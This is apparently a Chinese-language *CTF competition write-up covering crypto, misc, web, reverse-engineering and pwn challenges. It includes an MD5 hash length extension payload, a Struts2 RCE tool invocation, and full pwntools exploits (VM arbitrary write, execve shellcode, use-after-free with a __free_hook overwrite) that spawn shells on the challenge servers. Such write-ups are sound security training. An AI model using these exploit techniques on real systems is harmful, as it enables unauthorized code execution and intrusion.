Crypto

ezCrypto

遍历得到rseed,根据题目反推出flag

import random
import string

rseed = 0
characters = string.printable[:-6]
for rseed  in range(0, 1001):
    random.seed(rseed)
    random_sequence = random.sample(characters, len(characters))
    map_string1 = ''.join(random_sequence)

    random.seed(rseed * 2)
    random_sequence = random.sample(characters, len(characters))
    map_string2 = ''.join(random_sequence)
    if map_string2[:10] == '8K#Ttr@&5=':
        print('rseed =', rseed)
        break

random.seed(rseed * 3)
random_sequence = random.sample(characters, len(characters))
map_string3 = ''.join(random_sequence)


def re_xor(c, a, index: int):
    return chr(((ord(a) + index) ^ ord(c)) - index)


cipher = "edT0O<jmZ`aP,>3/LZALI]~S=}NP=7zY"
for i in range(0, len(cipher), 2):
    hou = cipher[:-i]
    hou = ''.join([map_string3[map_string1.index(h)] for h in hou])
    hou = ''.join([map_string3[map_string2.index(h)] for h in hou])
    if hou and hou[-1] in string.digits:
        qian = cipher[-i:]
        qian = ''.join([map_string3[map_string2.index(q)] for q in qian])
        qian1 = qian[:len(qian)//2]
        qian2 = ''.join([map_string3[map_string1.index(q)] for q in qian[len(qian)//2:]])
        if qian1 == qian2:
            qian = qian1
            print(hou)
            print(qian)
            qian11 = qian[:(len(qian)-2)//2]
            qian22 = qian[-(len(qian) - 2) // 2-1:-1]
            print(qian11)
            print(qian22)

            for c in characters:
                index = 2
                qian_ = ''
                qian_ += c
                try:
                    for x in qian11:
                        qian_ += re_xor(x, qian_[-1], index)
                    if all([y  in string.ascii_letters+string.digits for y in qian_]):
                        print(qian_+'3')
                except:
                    continue

            for c in characters:
                index = 1
                qian_ = ''
                qian_ += c
                try:
                    for x in qian22:
                        qian_ += re_xor(x, qian_[-1], index)
                    if all([y  in string.ascii_letters+string.digits for y in qian_]):
                        print(qian_+'0')
                except:
                    continue
            print()

# cR7PtO5 ln4 s0m32 F1nD1
# ~F3&)0
# F4n3TrY0

# sixstars{TrY_F1nD_s0m3_F4n_ln_cR7PtO}

MISC

dead game

直接游戏玩通关即可

img

但这是一个fakeflag,通过三个碎片的拼接和fakeflag,尝试猜出flag

最终得到flag:*CTF{80867_K1115_81!zZ@Rd}

an old language

题目

task

题解

首先百度识图,可以找到类似的字体

点击可以看到相关字体介绍

字母表如下:

flag为*ctf{GIKRVZY}大写

snippingTools

这道题是关于最近发现的一个windows漏洞

https://www.tenable.com/plugins/nessus/177217

可以修复使用snippingTools裁剪过后的截图。

开始读题:题目上说,Bob马上就恢复了图片,那就证明这道题一定是有工具能一把梭的,于是重心放在找工具上面,最后工具地址:

https://github.com/frankthetank-music/Acropalypse-Multi-Tool

然后再按照readme一步一步地配环境,就可以得到最后的flag:

image.png

得到flag

Increasing

一个简单的网络,按要求输入模型参数,使得第i个模型能将输入预测为i+1,写一个循环脚本,对第i个输入和输出进行训练,保存模型参数,大概跑50分钟,就能出来180个对应的模型,再转化为相应格式|分割模型,#分割参数,逗号分割参数索引和值。

按照这个思路跑出所有数的预测模型参数,就可以了

import torch
import torch.nn as nn
import torch.optim as optim
# from func_timeout import func_set_timeout
import torch
from torch.nn import init
import torch.nn as nn
from copy import deepcopy
import math

model_num=181

def Net2Init(tmpnet):
    for key in tmpnet.state_dict():
        if('weight' in key):
            init.zeros_(tmpnet.state_dict()[key])
        else:
            tmpnet.state_dict()[key][...] = 0
    return tmpnet

def max_label(t):
    labellist = t.tolist()[0]
    maxnum = -10000
    loc = 0
    for j in range(len(labellist)):
        if (maxnum < labellist[j]):
            loc = j
            maxnum = labellist[j]
    return loc

class EasyNet(nn.Module):
    def __init__(self):
        super(EasyNet, self).__init__()
        self.norm=nn.Softmax()
        self.filter=nn.Linear(1,2)
        self.bypass = nn.Linear(2,model_num,bias=False)

    def forward(self, x):
        x=self.filter(x)
        x=self.bypass(x)
        x=self.norm(x)
        return x
res = []
i = 0
while(i < 181):
    namelist=['filter.weight', 'filter.bias', 'bypass.weight']
    weightlist=[]
    net=EasyNet()
    mydict=net.state_dict()
    net=Net2Init(net)
    for i1 in range(len(namelist)):
        weightlist.append(mydict[namelist[i1]].tolist())
    # 定义训练数据和标签
    
    inputs = torch.tensor([i * 1.0]).reshape([1, 1])  # 输入数据
    ss = [0.0 for i2 in range(181)]
    ss[i+1] = 1.0
    labels = torch.tensor([ss])  # 标签

    # 创建模型实例
    net = EasyNet()

    # 定义损失函数和优化器
    criterion = nn.MSELoss()
    optimizer = optim.SGD(net.parameters(), lr=0.001)

    # 进行训练
    for epoch in range(1000):
        # 清空梯度
        optimizer.zero_grad()
        # 前向传播
        outputs = net(inputs)
        # print(outputs)
        # print(labels)
        # 计算损失
        loss = criterion(outputs, labels)
        # 反向传播和优化
        loss.backward()
        optimizer.step()
    # 测试模型
    tmp_input = torch.tensor([i * 1.0]).reshape([1, 1])  # 输入数据
    prediction = net(tmp_input)  # 预测结果
    # print(prediction)
    # 判断是否满足要求,max_label(net(tmp_input)) == i+1
    if max_label(prediction) == i+1:
        ss = ''
        filter_weight = net.state_dict()['filter.weight']
        a = 0
        c = 0
        for b in range(2):
            d = round(float(filter_weight[b][c]),4)
            ss += f"{a},{b},{c},{d}#"
        filter_bias = net.state_dict()['filter.bias']
        a = 1
        for b in range(2):
            c = round(float(filter_bias[b]),4)
            ss += f"{a},{b},{c}#"
        bypass_weight = net.state_dict()['bypass.weight']
        a = 2
        for b in range(181):
            for c in range(2):
                d = round(float(bypass_weight[b][c]),5)
                ss += f"{a},{b},{c},{d}#"
        res.append(ss)
        print(f"{i+1}done!")
        i += 1
with open('res.txt','w') as f:
    mmm = ''
    for m in res:
        mmm += m[:-1]
        mmm += '|'
    f.write(mmm)
from pwn import *
p = remote('122.9.155.47',50001)
with open('res.txt','r') as f:
    im = f.read()
    p.sendline(im[:-1])
p.interactive()

MWM

根据提示,把模型所有的参数都乘上256转成字符,搜索copy字符找到

import torch
import torchvision.models as models

# 加载ResNet-50模型
model = torch.load('resnet_mwm_new.pth')

# 将模型的所有参数乘以256
for param in model.parameters():
    param.data *= 256

# 将参数转换为字符,并保存到列表中
param_str_list = []
for param in model.parameters():
    param_cpu = param.detach().cpu()
    param_np = param_cpu.numpy()
    param_str = ' '.join([chr(int(val)&0xff) for val in param_np.flatten()])
    param_str_list.append(param_str)

# 将参数字符串拼接成一个字符串
param_str = "\n".join(param_str_list)

# 保存参数字符串到文件,使用UTF-8编码
with open('res.txt', 'w', encoding='utf-8') as f:
    f.write(param_str)

Web

jwt2struts

<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
    if ($username === "admin" && $password != "root") {
         if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
            die ("The secret_key is ". $secret_key);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("no no no");
    }
}

不能直接拼接adminroot,这里可以打一个哈希长度扩展攻击。

知道salt和adminroot拼接后的md5值,可以把拼接后的字符串当成salt。

https://github.com/JoyChou93/md5-extension-attack

使用这个脚本

python2 md5pad.py e6ccbf12de9d33ec27a5bcfb6a3293df 111 23

QQ截图20230730102335.png

POST:

username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%00%00%00%00%00%00%00111

cookies

digest=20b64bad6dfd095d5d7b14d5a6661795

1.png

拿到密钥

sk-he00lctf3r

QQ截图20230730103223.png

伪造admin以后,跳转到一个登陆页面,根据提示,得知是struts2漏洞。

这里可以直接使用脚本进行rce。

java -jar .\struts2_poc.jar

QQ截图20230730104059.png

RE

flagfile

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdarg.h>
#include <sys/param.h>
#include <stdio.h>    /* Include that here, to make sure __P gets defined */
#include <errno.h>
#include <fcntl.h>    /* For open and flags */
#include <stdint.h>

#define MAXDESC    64        /* max len of text description/MIME type */
#define MAXMIME    80        /* max len of text MIME type */
#define MAXstring 128    

union VALUETYPE {
    uint8_t b;
    uint16_t h;
    uint32_t l;
    uint64_t q;
    uint8_t hs[2];    /* 2 bytes of a fixed-endian "short" */
    uint8_t hl[4];    /* 4 bytes of a fixed-endian "long" */
    uint8_t hq[8];    /* 8 bytes of a fixed-endian "quad" */
    char s[MAXstring];    /* the search string or regex pattern */
    unsigned char us[MAXstring];
    uint64_t guid[2];
    float f;
    double d;
};

struct magic {
    /* Word 1 */
    uint16_t cont_level;    /* level of ">" */
    uint8_t flag;
#define INDIR        0x01    /* if '(...)' appears */
#define OFFADD        0x02    /* if '>&' or '>...(&' appears */
#define INDIROFFADD    0x04    /* if '>&(' appears */
#define UNSIGNED    0x08    /* comparison is unsigned */
#define NOSPACE        0x10    /* suppress space character before output */
#define BINTEST        0x20    /* test is for a binary type (set only
                   for top-level tests) */
#define TEXTTEST    0x40    /* for passing to file_softmagic */
#define OFFNEGATIVE    0x80    /* relative to the end of file */

    uint8_t factor;

    /* Word 2 */
    uint8_t reln;        /* relation (0=eq, '>'=gt, etc) */
    uint8_t vallen;        /* length of string value, if any */
    uint8_t type;        /* comparison type (FILE_*) */
    uint8_t in_type;    /* type of indirection */
#define             FILE_INVALID    0
#define             FILE_BYTE    1
#define                FILE_SHORT    2
#define                FILE_DEFAULT    3
#define                FILE_LONG    4
#define                FILE_STRING    5
#define                FILE_DATE    6
#define                FILE_BESHORT    7
#define                FILE_BELONG    8
#define                FILE_BEDATE    9
#define                FILE_LESHORT    10
#define                FILE_LELONG    11
#define                FILE_LEDATE    12
#define                FILE_PSTRING    13
#define                FILE_LDATE    14
#define                FILE_BELDATE    15
#define                FILE_LELDATE    16
#define                FILE_REGEX    17
#define                FILE_BESTRING16    18
#define                FILE_LESTRING16    19
#define                FILE_SEARCH    20
#define                FILE_MEDATE    21
#define                FILE_MELDATE    22
#define                FILE_MELONG    23
#define                FILE_QUAD    24
#define                FILE_LEQUAD    25
#define                FILE_BEQUAD    26
#define                FILE_QDATE    27
#define                FILE_LEQDATE    28
#define                FILE_BEQDATE    29
#define                FILE_QLDATE    30
#define                FILE_LEQLDATE    31
#define                FILE_BEQLDATE    32
#define                FILE_FLOAT    33
#define                FILE_BEFLOAT    34
#define                FILE_LEFLOAT    35
#define                FILE_DOUBLE    36
#define                FILE_BEDOUBLE    37
#define                FILE_LEDOUBLE    38
#define                FILE_BEID3    39
#define                FILE_LEID3    40
#define                FILE_INDIRECT    41
#define                FILE_QWDATE    42
#define                FILE_LEQWDATE    43
#define                FILE_BEQWDATE    44
#define                FILE_NAME    45
#define                FILE_USE    46
#define                FILE_CLEAR    47
#define                FILE_DER    48
#define                FILE_GUID    49
#define                FILE_OFFSET    50
#define                FILE_NAMES_SIZE    51 /* size of array to contain all names */

#define IS_STRING(t) \
    ((t) == FILE_STRING || \
     (t) == FILE_PSTRING || \
     (t) == FILE_BESTRING16 || \
     (t) == FILE_LESTRING16 || \
     (t) == FILE_REGEX || \
     (t) == FILE_SEARCH || \
     (t) == FILE_INDIRECT || \
     (t) == FILE_NAME || \
     (t) == FILE_USE)

#define FILE_FMT_NONE 0
#define FILE_FMT_NUM  1 /* "cduxXi" */
#define FILE_FMT_STR  2 /* "s" */
#define FILE_FMT_QUAD 3 /* "ll" */
#define FILE_FMT_FLOAT 4 /* "eEfFgG" */
#define FILE_FMT_DOUBLE 5 /* "eEfFgG" */

    /* Word 3 */
    uint8_t in_op;        /* operator for indirection */
    uint8_t mask_op;    /* operator for mask */
#ifdef ENABLE_CONDITIONALS
    uint8_t cond;        /* conditional type */
#else
    uint8_t dummy;
#endif
    uint8_t factor_op;
#define        FILE_FACTOR_OP_PLUS    '+'
#define        FILE_FACTOR_OP_MINUS    '-'
#define        FILE_FACTOR_OP_TIMES    '*'
#define        FILE_FACTOR_OP_DIV    '/'
#define        FILE_FACTOR_OP_NONE    '\0'

#define                FILE_OPS    "&|^+-*/%"
#define                FILE_OPAND    0
#define                FILE_OPOR    1
#define                FILE_OPXOR    2
#define                FILE_OPADD    3
#define                FILE_OPMINUS    4
#define                FILE_OPMULTIPLY    5
#define                FILE_OPDIVIDE    6
#define                FILE_OPMODULO    7
#define                FILE_OPS_MASK    0x07 /* mask for above ops */
#define                FILE_UNUSED_1    0x08
#define                FILE_UNUSED_2    0x10
#define                FILE_OPSIGNED    0x20
#define                FILE_OPINVERSE    0x40
#define                FILE_OPINDIRECT    0x80

#ifdef ENABLE_CONDITIONALS
#define                COND_NONE    0
#define                COND_IF        1
#define                COND_ELIF    2
#define                COND_ELSE    3
#endif /* ENABLE_CONDITIONALS */

    /* Word 4 */
    int32_t offset;        /* offset to magic number */
    /* Word 5 */
    int32_t in_offset;    /* offset from indirection */
    /* Word 6 */
    uint32_t lineno;    /* line number in magic file */
    /* Word 7,8 */
    union {
        uint64_t _mask;    /* for use with numeric and date types */
        struct {
            uint32_t _count;    /* repeat/line count */
            uint32_t _flags;    /* modifier flags */
        } _s;        /* for use with string types */
    } _u;
#define num_mask _u._mask
#define str_range _u._s._count
#define str_flags _u._s._flags
    /* Words 9-24 */
    union VALUETYPE value;    /* either number or string */
    /* Words 25-40 */
    char desc[MAXDESC];    /* description */
    /* Words 41-60 */
    char mimetype[MAXMIME]; /* MIME type */
    /* Words 61-62 */
    char apple[8];        /* APPLE CREATOR/TYPE */
    /* Words 63-78 */
    char ext[64];        /* Popular extensions */
};

int main(int argc, char *argv[])
{
    int ffff = 0;
    char buf[10000];
    int fd = open("flag.mgc", 0);
    read(fd, buf, 0x170 + 8);
    struct magic a[100];
    int index = 0;
    long long test[1000];
    memset(test, 0, 1000);
    char flag[100];
    while (read(fd, &a[index], sizeof(struct magic)) > 0)
    {
        index += 1;
    }
    for (int i = 0; i < index; i++)
    {
        struct magic temp = a[i];
        printf("lineno: %d\n", temp.lineno);
        printf("type: %d\n", temp.type);
        printf("reln: %c\n", temp.reln);
        printf("in_offset: %d\n", temp.in_offset);
        if (((int)(temp.type)) == 1)
        {
            ffff = (temp.offset - 63) / 2 + 1;
            printf("offset: %d\n", (test[ffff]));
            char ttt = ((temp.value.b) & 0xff) ^ ((temp._u._mask) & 0xff);
            flag[test[ffff]] = ttt;
        }
        else
        {
            printf("offset: %d\n", temp.offset);
        }

        printf("b: %llx\n", temp.value.b);
        printf("q: %llx\n", temp.value.q);
        printf("_mask: %llx\n", temp._u._mask);
        printf("mask_op: %llx\n", temp.mask_op);
        printf("in_op: %llx\n", temp.in_op);
        long long tes = temp._u._mask ^ temp.value.q;
        test[i] = tes;
        if (temp.offset < 64)
        {
            printf("aaaa!!!!!!!!!!!!!\n");
        }
        printf("\n=======================\n");
    }
    for (int i = 0; i < index; i++)
    {
        printf("%llx,", test[i]);
    }
    printf("\n\n\n");
    for (int i = 0; i < 40; i++)
    {
        printf("%c", flag[i]);
    }
}

GoGpt

GO逆向)

异或+base64

image.png

image.png

xorkey=[ord(i) for i in "TcR@3t_3hp_5_G1H"]
enc=[0x7e,0x20,0x06,0x06,0x48,0x17,0x37,0x73,0x1c,0x17,0x2f,0x61,0x00,0x74,0x5f,0x0b,0x06,0x1a,0x22,0x34,0x02,0x44,0x31,0x6c,0x5c,0x2f,0x19,0x60,0x11,0x66,0x10,0x35]
for i in range(len(enc)):
    enc[i]^=xorkey[i%16]
print(bytes(enc))
#b'*CTF{ch@tgpT_3nCRypt10n_4_FUN!!}'

ez_code

把文件后缀改成.ps1,使用ISE调试

image.png

输入代码然其解析

image.png

class chiper():
    def __init__(self):
        self.d = 0x87654321
        k0 = 0x67452301
        k1 = 0xefcdab89
        k2 = 0x98badcfe
        k3 = 0x10325476
        self.k = [k0, k1, k2, k3]

    def e(self, n, v):
        from ctypes import c_uint32

        def MX(z, y, total, key, p, e):
            temp1 = (z.value >> 6 ^ y.value << 4) + \
                (y.value >> 2 ^ z.value << 5)
            temp2 = (total.value ^ y.value) + \
                (key[(p & 3) ^ e.value] ^ z.value)
            return c_uint32(temp1 ^ temp2)
        key = self.k
        delta = self.d
        rounds = 6 + 52//n
        total = c_uint32(0)
        z = c_uint32(v[n-1])
        e = c_uint32(0)

        while rounds > 0:
            total.value += delta
            e.value = (total.value >> 2) & 3
            for p in range(n-1):
                y = c_uint32(v[p+1])
                v[p] = c_uint32(v[p] + MX(z, y, total, key, p, e).value).value
                z.value = v[p]
            y = c_uint32(v[0])
            v[n-1] = c_uint32(v[n-1] + MX(z, y, total,
                              key, n-1, e).value).value
            z.value = v[n-1]
            rounds -= 1
        return v

    def bytes2ints(self,cs:bytes)->list:
        new_length=len(cs)+(8-len(cs)%8)%8
        barray=cs.ljust(new_length,b'\x00')
        i=0
        v=[]
        while i < new_length:
            v0 = int.from_bytes(barray[i:i+4], 'little')
            v1 = int.from_bytes(barray[i+4:i+8], 'little')
            v.append(v0)
            v.append(v1)
            i += 8
        return v

def check(instr:str,checklist:list)->int:
    length=len(instr)
    if length%8:
        print("Incorrect format.")
        exit(1)
    c=chiper()
    v = c.bytes2ints(instr.encode())
    output=list(c.e(len(v),v))
    i=0
    while(i<len(checklist)):
        if i<len(output) and output[i]==checklist[i]:
            i+=1
        else:
            break
    if i==len(checklist):
        return 1
    return 0    

if __name__=="__main__":
    ans=[1374278842, 2136006540, 4191056815, 3248881376]
    # generateRes()
    flag=input('Please input flag:')
    res=check(flag,ans)
    if res:
        print("Congratulations, you've got the flag!")
        print("Flag is *ctf{your_input}!")
        exit(0)
    else:
        print('Nope,try again!')
#include"defs.h"
#include <stdio.h>  
#include <stdint.h>  
#define DELTA 2271560481  
#define MX (((z>>6^y<<4) + (y>>2^z<<5)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  

void btea(uint32_t* v, int n, uint32_t  key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;

    n = -n;
    rounds = 6 + 52 / n;
    sum = rounds * DELTA;
    y = v[0];
    do
    {
        e = (sum >> 2) & 3;
        for (p = n - 1; p > 0; p--)
        {
            z = v[p - 1];
            y = v[p] -= MX;
        }

        z = v[n - 1];
        y = v[0] -= MX;
        sum -= DELTA;
    } while (--rounds);

}

int main()
{
 
    uint32_t enc[] = { 1374278842, 2136006540, 4191056815, 3248881376,0 };
    uint32_t  k[4] = { 1732584193, 4023233417, 2562383102, 271733878 };
    btea((uint32_t*)(&enc), -4, k);
    puts((char*)enc);
    //yOUar3g0oD@tPw5H

}

PWN

starvm

程序结构体如下:

00000000 vm struc ; (sizeof=0x80, mappedto_9)
00000000 code dq ?                               ; offset
00000008 code_end dq ?                           ; offset
00000010 field_10 dq ?
00000018 vector vector ?
00000030 field_30 dq ?
00000038 regs dd 14 dup(?)
00000070 mem dq ?                                ; offset
00000078 field_78 dd ?
0000007C field_7C dd ?
00000080 vm ends
00000080
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 vector struc ; (sizeof=0x18, mappedto_13) ; XREF: vm/r
00000000 _M_start dq ?                           ; offset
00000008 _M_finish dq ?                          ; offset
00000010 _M_end_of_storage dq ?
00000018 vector ends

10功能号可以修改到vm->mem,实现任意地址读写。

unsigned __int64 __fastcall run_vm(vm *a1)
{
        ...
        case 10:
          v38 = v2;
          ++code;
          v2 += 2;
          a1->regs[a1->vector._M_start[v38]] = a1->vector._M_start[v38 + 1];
          break;
        ...
}

利用脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

sh = remote('61.147.171.105', 53185)

cmd = [10, 6, 10, 3, 7, 10, 10, 7, 7, 10, 10, 10, 7, 7, 7, 10, 6]
sh.sendlineafter(b'command:\n', ' '.join([str(v) for v in cmd]).encode() + b' 16')
cost = [14, 0x404020, # 10
        0, 0, # 6
        1, 0x30910, # 10
        0, 1, # 3
        0, 0, # 7 
        14, 0x404070, # 10
        0, 0x401270, # 10
        0, 0, # 7 
        2, 1, # 7 
        14, 0x4040D0, # 10
        0, 0x4040D8, # 10
        1, 0x6873, # 10
        0, 0, # 7 
        2, 1, # 7 
        1, 2, # 7 
        14, 0, # 10
        0, 0, # 6
        0xdeadbeef]

sh.sendlineafter(b'your cost:\n', '\n'.join([str(v) for v in cost]).encode())

sh.interactive()

fcalc

数组溢出,恰好可以执行shellcode。

/*
.bss:0000000000004060                               ; __int64 func_table[]
.bss:0000000000004060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+func_table dq 10h dup(?)                ; DATA XREF: sub_1384+69↑w
.bss:0000000000004060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+                                        ; main+2B7↑o
.bss:0000000000004060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+                                        ; sub_1384+77↑w
.bss:00000000000040E0                               ; double *shellcode
.bss:00000000000040E0 ?? ?? ?? ?? ?? ?? ?? ??       shellcode dq ?
*/
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
    ...
      if ( buf[i] <= 0x20 || buf[i] > 0x30 )
      {
        ...
      }
      else
      {
        ...
        // .text:000000000000187A FF D0                         call    rax
        ((void (*)(void))func_table[buf[i] - 0x20])();
      }
    ...
}

利用代码:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

sh = remote('61.147.171.105', 63236)

shellcode = asm('''
    xor rsi, rsi
    mul rsi

    push rax
    mov rbx, 0x68732f2f6e69622f
    push rbx

    mov rdi, rsp
    mov al, 59

    syscall
''')
sh.sendafter(b'Enter your expression:\n', b'1 1 0 '.ljust(0x10, b'\0') + shellcode.ljust(0x40, b'\0') + p64(0x3ff000000000beeb))

sh.interactive()

drop

只是粗略看下来源代码,发现没有 delete 功能,后来通过 gdb 调试发现,新创建的堆块的指针都是放在堆块上的,并且申请的堆块大小是根据字符串长度决定的。其中的 bubble 功能可以实现排序的功能,存在堆块的 free 操作,并且还是 UAF 漏洞,于是利用这个去 leak libc_base 和 打 free_hook

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('122.9.157.7', 50001)
#p = gdb.debug('./pwn', 'b free')
#p = gdb.debug('./pwn', 'b *0x401853')
#p = remote('node3.anna.nssctf.cn', 28976)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(data):
    sla(b'choice: \n', b'1')
    sla(b'item: \n', data)
def show(idx):
    sla(b'choice: \n', b'2')
    sla(b'Index: \n', str(idx))
def edit(idx, data):
    sla(b'choice: \n', b'3')
    sla(b'Index: \n', str(idx))
    sla(b'content: \n', data)
def free(idx):
    sla(b'choice: \n', b'5')
    sla(b'Index: \n', str(idx))
def magic(n, idx):
    sla(b'choice: \n', b'4')
    sla(b'is East)\n', str(n))
    sla(b'index: \n', str(idx))

add(b'\x04'*0x300) #index 0
add(b'\x03'*0x500) #index 1
add(b'\x01'*0x100) #index 2
magic(1, 1)
show(2)

libc_base = l64() - 0x70 - libc.sym['__malloc_hook']
system, binsh = get_sb()
free_hook = libc_base + libc.sym['__free_hook']

add(b'\x04'*0x100) #index 3
add(b'\x03'*0x100) #index 4
add(b'\x05'*0x100) #index 5
magic(1, 3)

edit(5, p64(free_hook - 8) + p64(0))
add(b'a'*0x100)
payload = b'/bin/sh\x00' + p64(system)
payload = payload.ljust(0x100, b'a')
add(payload)

lg('libc_base', libc_base)
inter()

1